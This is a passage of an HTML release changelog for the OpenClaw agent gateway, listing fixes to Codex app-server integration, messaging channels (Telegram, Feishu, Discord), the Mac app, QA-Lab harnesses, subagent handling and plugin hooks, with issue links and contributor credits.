<li>Memory/QMD: keep archived session transcript hits visible after QMD export while preserving normal <code>.md</code> session ids that only resemble archive names. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467447669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83518/hovercard" href="https://github.com/openclaw/openclaw/pull/83518">#83518</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467252934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83506/hovercard" href="https://github.com/openclaw/openclaw/issues/83506">#83506</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>Codex app-server: preserve network access for sandboxed Codex code-mode turns when the OpenClaw sandbox allows outbound egress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83347/hovercard" href="https://github.com/openclaw/openclaw/issues/83347">#83347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YusukeIt0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YusukeIt0">@YusukeIt0</a>.</li>
<li>QA-Lab: keep the OTLP smoke decoder independent of removed OpenTelemetry generated-root internals.</li>
<li>Messages: default group/channel visible replies to automatic final delivery again, keeping <code>message_tool</code> opt-in for ambient/shared rooms and tool-reliable models.</li>
<li>CLI/TUI: force standalone <code>/exit</code> runs to terminate after <code>runTui</code> returns so onboarding-launched TUI children do not stay alive invisibly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467214589" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83501/hovercard" href="https://github.com/openclaw/openclaw/pull/83501">#83501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Agents/code mode: honor per-agent code-mode config in schema, runtime catalog activation, and model payload filtering. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465758765" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83388" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83388/hovercard" href="https://github.com/openclaw/openclaw/issues/83388">#83388</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: preserve agent, session, run, and channel context in <code>before_tool_call</code> hooks for top-level <code>exec</code>/<code>wait</code> dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465758470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83387" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83387/hovercard" href="https://github.com/openclaw/openclaw/issues/83387">#83387</a>.</li>
<li>QQBot: shorten C2C typing indicators to a 10-second window renewed every 5 seconds, capped to keep a final passive-reply slot available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466707249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83469/hovercard" href="https://github.com/openclaw/openclaw/pull/83469">#83469</a>)</li>
<li>Replies: keep final payload delivery after live preview updates so channels can finalize or send the completed answer instead of losing preview-only drafts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466706226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83468" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83468/hovercard" href="https://github.com/openclaw/openclaw/pull/83468">#83468</a>)</li>
<li>Discord: deliver final replies in progress-mode preview streams instead of deduplicating the final visible message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466374427" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83443/hovercard" href="https://github.com/openclaw/openclaw/pull/83443">#83443</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/compoodment/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/compoodment">@compoodment</a>.</li>
<li>Providers/Xiaomi: replay MiMo Anthropic-compatible <code>reasoning_content</code> as provider-required thinking blocks even when OpenClaw thinking is disabled, fixing follow-up tool turns for <code>mimo-v2-flash</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465996157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83407" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83407/hovercard" href="https://github.com/openclaw/openclaw/issues/83407">#83407</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Xgenious7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Xgenious7">@Xgenious7</a>.</li>
<li>Agents/exec approvals: forward approval-runtime credentials on agent-owned Gateway approval calls so approved async commands complete through the existing runtime path instead of stalling on unauthenticated follow-up calls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Gateway/skills: preflight remote macOS skill-bin refreshes with a WebSocket connectivity check so stale node sessions skip quickly instead of logging slow <code>system.which</code> timeout warnings.</li>
<li>CLI/config: keep broken discovered plugins that are not referenced by active config from failing <code>openclaw config validate</code>, while preserving fatal errors for explicitly configured plugin entries.</li>
<li>GitHub Copilot: drop unsafe native Responses reasoning replay items with non-replayable IDs before dispatch, preventing affected Copilot sessions from failing with <code>invalid_request_body</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464490598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83220" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83220/hovercard" href="https://github.com/openclaw/openclaw/issues/83220">#83220</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/Codex: fail closed when an explicitly requested Codex harness is not registered instead of silently trying configured model fallbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465485972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83349" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83349/hovercard" href="https://github.com/openclaw/openclaw/issues/83349">#83349</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r2-vibes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r2-vibes">@r2-vibes</a>.</li>
<li>QA-Lab: make runtime tool coverage fail on missing required tool exercise instead of treating pass/pass parity envelope drift as missing coverage.</li>
<li>Core/plugins: harden clawpatch-reported edge cases across gateway auth cleanup, Claude session id paths, plugin activation policy, apply-patch hunk handling, diagnostic redaction, and plugin metadata validation.</li>
<li>UI: show reasoning choices as plain labels instead of leaking internal override wording in session and chat pickers.</li>
<li>Mac app: avoid repeating the Configuration heading inside channel quick settings.</li>
<li>Mac app: keep the Settings sidebar always visible and remove the redundant titlebar hide/show control.</li>
<li>Mac app: normalize Settings pane content margins so pages share the same left and right rail.</li>
<li>Mac app: prefer explicit private/Tailscale/LAN Gateway endpoints over SSH tunnels, preserve legacy loopback tunnel configs, persist transport choices, and show captured SSH stderr when tunneling really fails.</li>
<li>Gateway/sessions: keep ACP/acpx and runtime child sessions visible in configured-only session lists when their owner or parent session belongs to a configured agent.</li>
<li>Mac app: keep app-level menu commands and Dashboard failure states reachable when the remote Gateway is disconnected.</li>
<li>Mac app: allow longer Gateway and Context errors to wrap in the menu instead of truncating the useful failure detail.</li>
<li>Mac app: tighten remote Gateway fields in Settings so the Connection pane keeps readable labels and full action button text.</li>
<li>Mac app: keep custom Settings card rows left-aligned and full-width so Discovery and status sections no longer appear centered or detached.</li>
<li>Mac app: align Location permission controls to the same trailing column as the rest of Settings.</li>
<li>Mac app: add Dashboard, Chat, Canvas, and Settings shortcuts to the Dock icon menu.</li>
<li>Mac app: replace the Settings window's native split-view sidebar with an explicit layout so page content keeps its leading gutter when the sidebar is shown or hidden.</li>
<li>Mac app: render channel quick config as aligned Settings rows and hide schema-only variants that cannot be edited safely from the quick pane.</li>
<li>Gateway/webchat: hide internal runtime-context and other <code>display: false</code> transcript messages from Chat history and live message events. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464459552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83216" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83216/hovercard" href="https://github.com/openclaw/openclaw/issues/83216">#83216</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EmpireCreator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EmpireCreator">@EmpireCreator</a>.</li>
<li>CLI/help: keep <code>gateway</code>, <code>doctor</code>, <code>status</code>, and <code>health</code> help registration out of action/runtime imports so subcommand <code>--help</code> stays lightweight in constrained terminals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464522965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83228" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83228/hovercard" href="https://github.com/openclaw/openclaw/issues/83228">#83228</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfguerrerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfguerrerom">@dfguerrerom</a>.</li>
<li>Cron/Discord: keep explicit announce runs in message-tool-only source-reply mode so scheduled agent turns post once instead of also echoing through automatic visible replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464900333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83261" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83261/hovercard" href="https://github.com/openclaw/openclaw/issues/83261">#83261</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Theralley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Theralley">@Theralley</a>.</li>
<li>Telegram: preserve forum-topic origin targets in inbound, audio-preflight, and skipped-message hook contexts so follow-up delivery stays bound to the originating topic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465183426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83302" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83302/hovercard" href="https://github.com/openclaw/openclaw/issues/83302">#83302</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/M00zyx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/M00zyx">@M00zyx</a>.</li>
<li>Telegram: retry HTTP 421 Misdirected Request send failures on a fresh fallback transport so transient edge-node routing errors no longer drop outbound replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087256219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48892" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48892/hovercard" href="https://github.com/openclaw/openclaw/issues/48892">#48892</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087442780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48908" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48908/hovercard" href="https://github.com/openclaw/openclaw/pull/48908">#48908</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarsDoge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarsDoge">@MarsDoge</a>.</li>
<li>Telegram: fail topic sends closed when Telegram reports <code>message thread not found</code> instead of retrying without <code>message_thread_id</code> into the base chat. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465183426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83302" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83302/hovercard" href="https://github.com/openclaw/openclaw/issues/83302">#83302</a>.</li>
<li>Config/subagents: remove ignored agent-model <code>timeoutMs</code> keys, keep subagent model config to primary/fallback selection, and clean shipped stale config through doctor. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465090121" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83291" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83291/hovercard" href="https://github.com/openclaw/openclaw/issues/83291">#83291</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Mac app: align the Sessions settings pane with the standard Settings page gutter and row spacing.</li>
<li>OpenAI/Codex: stop rejecting available <code>openai-codex</code> GPT-5.1, GPT-5.2, and GPT-5.3 model refs during config validation, while keeping removed Spark aliases suppressed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465210488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83303" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83303/hovercard" href="https://github.com/openclaw/openclaw/issues/83303">#83303</a>.</li>
<li>Plugins/xAI: complete OAuth-backed xAI login and sidecar auth fixes, including guarded loopback callback CORS handling, video generation polling/defaults, and native-host User-Agent attribution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465339811" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83322/hovercard" href="https://github.com/openclaw/openclaw/pull/83322">#83322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>.</li>
<li>Codex app-server: preserve streamed native command output in mirrored transcripts and trajectory exports when final snapshots omit aggregated output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464273690" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83200/hovercard" href="https://github.com/openclaw/openclaw/pull/83200">#83200</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rozmiarD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rozmiarD">@rozmiarD</a>.</li>
<li>Codex app-server: fail closed when chat or sender policy denies tools, disabling native code, app, environment, and user MCP surfaces for restricted turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457945251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82374" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82374/hovercard" href="https://github.com/openclaw/openclaw/pull/82374">#82374</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: keep recent context-engine messages when oversized projected history is truncated, so short follow-ups in long channel sessions do not fall back to stale earlier turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463799694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83127/hovercard" href="https://github.com/openclaw/openclaw/pull/83127">#83127</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: keep OpenClaw session spawning searchable while steering Codex-native delegation through native subagents, avoiding duplicate direct subagent surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465370887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83329" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83329/hovercard" href="https://github.com/openclaw/openclaw/pull/83329">#83329</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: recover stale childless Codex-native subagent task mirrors during maintenance and allow their registry rows to be cancelled without an OpenClaw child session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461986275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82836" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82836/hovercard" href="https://github.com/openclaw/openclaw/pull/82836">#82836</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yshimadahrs-ship-it/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yshimadahrs-ship-it">@yshimadahrs-ship-it</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Feishu: return bound subagent delivery origins from session thread setup so Feishu subagent completions route back to the same DM or topic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464179397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83190/hovercard" href="https://github.com/openclaw/openclaw/pull/83190">#83190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>CLI/update: tailor post-update Gateway recovery hints by platform, showing systemd, LaunchAgent, Scheduled Task, or generic service-manager guidance instead of macOS-only recovery text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463495630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83096/hovercard" href="https://github.com/openclaw/openclaw/pull/83096">#83096</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>Plugins: apply a default 15-second timeout to legacy <code>before_agent_start</code> hooks so hung plugin handlers no longer block agent startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085154694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48534" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48534/hovercard" href="https://github.com/openclaw/openclaw/issues/48534">#48534</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463837368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83136/hovercard" href="https://github.com/openclaw/openclaw/pull/83136">#83136</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/therahul-yo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/therahul-yo">@therahul-yo</a>.</li>
<li>Feishu: refresh inbound session delivery context for DM, group, and broadcast turns so later replies do not inherit stale WebChat routing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4388788955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78274" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78274/hovercard" href="https://github.com/openclaw/openclaw/issues/78274">#78274</a>.</li>
<li>Agents/subagents: require the initial subagent registry save before reporting spawn accepted, returning a spawn error instead of losing an untracked run when the registry write fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463909257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83146" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83146/hovercard" href="https://github.com/openclaw/openclaw/pull/83146">#83146</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>QA-Lab/qa-channel: attach redacted agent tool-start traces to outbound <code>QaBusMessage</code> records so scenarios can assert actual tool use instead of relying only on reply text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4275248060" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67637" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67637/hovercard" href="https://github.com/openclaw/openclaw/issues/67637">#67637</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: fail live runtime parity reports when assistant-message usage is missing, preventing <code>0 vs 0</code> live token rows from being reported as passing proof. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416721771" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80411" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80411/hovercard" href="https://github.com/openclaw/openclaw/issues/80411">#80411</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a runtime token-efficiency sidecar report that classifies Codex savings separately from regressions and fails only positive Codex-over-Pi live token deltas above threshold. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430998561" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81093" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81093/hovercard" href="https://github.com/openclaw/openclaw/issues/81093">#81093</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: fail Codex-backed OpenAI live runtime-pair runs before launching isolated workers when no portable Codex auth is available, while staging API-key fallbacks and configured Codex keys for isolated QA agents. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416721774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80412" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80412/hovercard" href="https://github.com/openclaw/openclaw/issues/80412">#80412</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: refresh parity gates, mock frontier fixtures, model scenarios, and workflow artifact lanes to compare GPT-5.5 against Claude Opus 4.7. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349437446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74262" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74262/hovercard" href="https://github.com/openclaw/openclaw/issues/74262">#74262</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: make mock parity dispatch provider-aware for source discovery and subagent scenarios so OpenAI and Anthropic lanes no longer share identical canned plans. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245036106" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64879/hovercard" href="https://github.com/openclaw/openclaw/issues/64879">#64879</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: stop returning Control UI bearer tokens from unauthenticated bootstrap payloads and bind Docker harness ports to loopback-only host addresses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259596226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66355/hovercard" href="https://github.com/openclaw/openclaw/pull/66355">#66355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Mac app: avoid a SwiftUI metadata crash when rendering the Cron Jobs settings pane.</li>
<li>Agents/subagents: preserve run-mode keep subagent registry entries past the session sweep TTL, so kept subagent runs remain visible after cleanup completes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463823834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83132" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83132/hovercard" href="https://github.com/openclaw/openclaw/issues/83132">#83132</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464018781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83168" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83168/hovercard" href="https://github.com/openclaw/openclaw/pull/83168">#83168</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>Agents/OpenAI streams: yield via <code>setTimeout(0)</code> instead of <code>setImmediate</code> between bursty Responses chunks so abort timers can fire during the yield, keeping cancel-on-timeout responsive on hot streams. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458742937" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82462/hovercard" href="https://github.com/openclaw/openclaw/issues/82462">#82462</a>.</li>
<li>Agents/Codex: keep legacy <code>oauthRef</code>-backed OAuth profiles usable while <code>openclaw doctor --fix</code> migrates them back to inline credentials, without creating new sidecar credentials. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
